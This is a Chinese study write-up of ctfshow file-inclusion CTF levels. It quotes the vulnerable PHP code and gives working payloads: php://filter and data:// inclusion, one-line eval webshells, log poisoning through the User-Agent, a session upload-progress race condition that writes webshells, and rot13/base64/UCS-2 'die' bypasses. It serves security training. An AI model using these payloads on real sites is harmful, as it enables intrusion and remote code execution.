ctfshow_web入门 文件包含 学习
文件包含
额,这是一个做题带学习的一个笔记
算是半做题,半学习的笔记吧,所以能写的方法和注解都会写。难免先得啰嗦
由于截图都是白色背景,所以使用夜间模式(右上角哦~)观看比较易于区分图片与浏览器背景
web 78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
观察一下,没有过滤,可以直接使用功能php://filter伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
也可以用data伪协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=
?file=data://text/plain,<?php system('tac flag.php');?>
也可以尝试php://input
web 79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,我们还可以使用data协议:
data://text/plain;base64,[commander]
data://text/plain,<?= system('ls');?>
普通data伪协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
?file=data://text/plain,<?php system('tac flag.php');?>
但是有点没懂,我都用了php为什么没被过滤
骚姿势:传入shell(一句话木马)
?file=data://text/plain,<?=eval($_POST[1])?>
post 1=phpinfo();
虽然说,传入一个shell有点小题大做,不过姿势确实有点骚,而且如果遇到一些将flag放在其他位置的题,有个shell找起flag来,也是很舒服的
web 80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
利用日志文件包含,emmm,
include加载的文件都会当做PHP进行解析。如果文件中有PHP代码,就会执行PHP代码。不是PHP代码的部分就会直接输出。
Nginx的日志文件是/var/log/nginx/access.log,对服务器的请求都会记录到日志文件中去,所以构造一个有马的请求(<?php eval($_POST[1]);?>
),再用file包含日志文件。所以就可以执行拿到shell了。
先添加user-agetn:<?= eval($_GET[5]);?>
执行
url?file=/var/log/nginx/access.log&5=phpinfo();
url?file=/var/log/nginx/access.log&5=system('tac fl0g.php');
问题:url的请求也会被包含进去,为啥在url中的马没法执行
因为:在get请求的数据会被url编码(<?
),在进入PHP之前不解码,所以无法当做PHP代码执行
web 81
可以继续日志包含
嗷,也是刚刚才知道(试了一下),如果要用蚁剑连接的话,一句话木马得用POST传参。刚刚使用GET方式,虽然能够拿到shell,但是无法使用蚁剑连接
web 82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);}else{
highlight_file(__FILE__);
}
因为过滤了.,所以无法导入日志文件了(/var/log/nginx/access.log)
做一个简单记录
虽然没有开启session,但是如果上传一个带有名字的session的值(SESSID aaa),那么会在生成一个/tem/sess_aaa的文件
PHP_SESSION_UPLOAD_PRGRESS,获取实时文件上传进度,返回一个json
视频中的意思是,上传一个一句话木马,执行另外一个一句话木马。(额,大概就是:传木马A引木马B。有点久了,忘了)
由于是写的脚本,所以也比较方便。而且还能学到一招pyhton文件上传文件(找了很多地方都没找到过用python上传文件的方法),脚本可以导ctfshow的群里找。
提一下,可以在师傅写的py脚本的data中加上proxy={'http':'127.0.0.1:8080'}
设置代理
理解不了也没关系(因为我是废狗,理解不了),可以跟着下面走,下面不用脚本
burp实现条件竞争
首先写一个html脚本用来上传文件
<html>
<body>
<form action="http://d052d9f7-57ce-444e-a56f-bb9f12251393.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[test1]);?>');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
备注:将代码写到第一个input的value中
好吧,我这个写的有点问题,不过不影响。上传脚本并且抓包,
将1.php修改为:<?php file_put_contents('/var/www/html/test2.php','<?php eval($_POST[test2]);?>');?>
注意,两边都不需要爆破,一直请求就行,所以在payloads中都做如下设置
然后开始请求,最后访问url/test2.php
接着tac fl0g.php
即可
由于按理来讲不应该知道flag在什么文件中,需要自己发现,所以这里上传木马,应该是一个比较好的选择
利用session.upload_progress进行文件包含和反序列化渗透请看一下这位师傅的文章,理解一下原理。为什么放到后面呢,因为不先体验一下,弟弟我实在看不懂。
web 83
session_unset();session_destroy();if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);}else{
highlight_file(__FILE__);
}
代码中将session销毁了,叭过可以自己创建,换句话说就是可以白嫖上面的方法
可以直接把一句话给写到这里来,抓包的时候,一样的效果
web 84
也可以白嫖web 82的方法
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system('rm -rf /tem/*');
include($file);
}else{
highlight_file(__FILE__);
}
代码中将session删除了,但是为什么能够执行呢?
嗷~原来是因为误打误撞的将爆破的线程开得比较多,在get的请求线程1刚刚删除/tem/*,在上传的线程1中又写了进去了。简单来说就是,刚刚删除完就写进去了。
web 85
继续白嫖(都还没看代码,就嫖了。。。,用的burp哈)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
额,file指向文件是否存在,如果存在再判断文件中有没有<,如果有就die卧槽?为什么能够嫖呀?
看了一下,200中长度不一样的结果,成功包含sess_test1的请求,返回是error,error也就是被die了。
有看一下干翻服务器的返回,不过,看不懂。。。。吐了,早知道看看以前的是个啥。
看了一下视频,说的还是是线程问题,线程开大点。利用条件竞争。不过还是没看懂。
补充
因为刚刚提到不知道成功请求到的/tem/test1,是什么样的,所以这里做一个补充。我这里一直使用的burp。
web 84的重开环境,看样子,请求是请求成功了,但是,唯一一个309的状态码是502...
501upload_progress_|a:5:{s:10:"start_time";i:1627393610;s:14:"content_length";i:475;s:15:"bytes_processed";i:475;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"test.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1627393610;s:15:"bytes_processed";i:475;}}}
web 83重开环境 ,也成功了,给人的感觉是,如果include了session文件,那么会有一个upload_progress
web 86
白嫖web82方法
web 87
由于之前有一次做题,不会死亡绕过,恰好这个题很想死亡绕过,所以,必用死亡绕过
先看一下代码
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
看了一下代码,发现,需要对$file进行两次url加密,所以,貌似过滤就全部绕过了
法1:利用 php://filter
所以对$file的构造就是:
$file=php://filter/convert.base64-decode/resource=test2.php进行两次url加密$file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%35%25%33%64%25%37%34%25%36%35%25%37%33%25%37%34%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
接着说明一下,这里用的是php://filter/convert.base64-decode/resource=test2.php;
php://filter是伪协议的名字;convert.base64-decode是过滤器,对输入的内容就是进行base64解码
base64只对 a-z A-Z +] 进行加密解密,所以,<??>
等是直接就不管的,当做看不见了,于是<?php die('别修了');?>
就成了phpdie
。由于base解码的时候,是4个字符4个字符解码的。在构造好的base64编码的一句话木马前加上两个字符即可(AA)。
看来一句话木马中,不能有?>,去掉?>
$content=AAPD9waHAgc3lzdGVtKCdscycpOw==
成功。当然,这里最好是直接传入一句话木马,免得一直传来传去的。为了方便做笔记,所以就整好看点的。(其实差不多)
看到个一个神奇思路
由于base64将=作为结束的判断,那么在=后的就不会被解码
详细请看一下,里面确实有几个很巧妙的死亡绕过方式,file_put_content和死亡·杂糅代码之缘
法2:利用php://filter/write=string.rot13/resource=test10.php
$file=php://filter/write=string.rot13/resource=test10.php
先对$file进行两次url加密
$file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%34%25%36%35%25%37%33%25%37%34%25%33%31%25%33%30%25%32%65%25%37%30%25%36%38%25%37%30
说明一下:php://filter/write=string.rot13/resource=test10.php
php://filter伪协议名称write=string.rot13过滤器通道 将传入的test10.php的字母进行13位平移(凯撒加密,移动13位)
通过13位平移,原来的<?php die('别秀了');?>
也会移动13位,变成<?cuc qvr('别秀了');?>
,这样就算是绕过die。在线rot转化工具
<?php eval($_GET[test10]);?>$contnt=<?cuc riny($_TRG[grfg10]);?>
看得见之前上传的文件
web 88
利用data伪协议,同时进行base64加密,由于过滤了=,所以可以在构造的 命令中添加上空格
?file=data://text/plain;base64,PD9waHAgICAgIHN5c3RlbSgndGFjIGZsMGcucGhwJyk7
web 116
不会,后来再补
web 117
highlight_file(__FILE__);
error_reporting(0);function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
看样子,应该是一死亡绕过,在web87说了一点死亡绕过的方式和原因,这里就不再说了。多看看其它师傅博客,然后实操一下就明白了。
这里看到了,没有过滤php://filter
所以这里还是打算用这个绕过,emmm但是过滤了base64,多以就没法绕过了。
看了看一个新的死亡绕过方式,利用convert.iconv.UCS-2LE.UCS-2BE
过滤器,这个是将前后两个字符进行交替(abcd==>badc),所以写入文件的<?php die();?>
就会被扰乱,从而绕过。
? file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=test5.phpcontents=?<hp pvela$(P_SO[Tt"se5t]";)>?
访问test5.php
传入的contents需要我们先自己手动替换,这里给一个弟弟写的脚本进行前后替换(只是针对两个字符替换,PHP脚本对;有点)
str1="<?php eval($_POST['test5']);?>";
str2=''
for i in range(0,len(str1)):
if i%2==0:
if i+1<len(str1):
str2=str2+str1[i+1]
if i+1==len(str1):
str2=str2+str1[i]
if i%2==1:
str2=str2+str1[i-1]
#print(i)
print('content='+str2)
print(len(str1))
伪协议使用
file_put_content和死亡·杂糅代码之缘骚姿势也多
php://filter 读出文件
?file=php://filter/convert.base64-encode/resource=flag.php
$file=php://filter/convert.base64-decode/resource=test2.php 用来死亡绕过
输入数据前后交换
? file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=test5.php
contents=?<hp pvela$(P_SO[Tt"se5t]";)>?
php://filter 写入文件
?file=php://filter/write.string-rot13/resource=test1.php
post $content=<?cuc riny($_TRG[grfg10]);?>
php://input 以PHP方式执行传入的DATA
php://input |post DATA
data://text 将传入的数据当做PHP解析执行
使用base64加密的data协议的时候,貌似不能使用?,虽然原理还不知道为什么,不过先记下了,想必是因为语言自身结构的问题,和协议没太大关系
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=
?file=data://text/plain,<?= system('tac flag.php');?>
日志包含
- 在user-agent中写入马,执行一次;引入日志文件,getshell
session
利用session.upload_progress进行文件包含和反序列化渗透
文章中的链接全是参考,就没有再列出了
因为是学习,难免会留下问题,如果师傅们认为有什么不正确的地方,请斧正斧正,谢谢~
最新文章
- Entity Framework 简单查询
- 48. 二叉树两结点的最低共同父结点(3种变种情况)[Get lowest common ancestor of binary tree]
- 转载:ViewHolder为什么声明为static
- Comparison method violates its general contract 关于jdk自带算法问题
- uva 1382 - Distant Galaxy
- Laravel 设置时区
- spring mvc 3.0 ModelAndView模型视图类
- UIButton 按钮文字左对齐
- 实现Android K的伪沉浸式
- VB MSFlexGrid 用法
- Acegi
- 清理8组nodes中表的历史数据,平均每个node中的表有1.5亿条记录,需要根据date_created字段清理8000W数据记录,这个字段没有索引。
- 一致性算法--Paxos
- Myeclipse 设定文件的默认打开方式
- 第14周 项目三-OOP版电子词典
- windows配置caffe + python和matlab接口
- 【一天一道LeetCode】#18. 4Sum
- maven下载及安装最详解
- Windows Internals 笔记——线程
- 下载安装配置Maven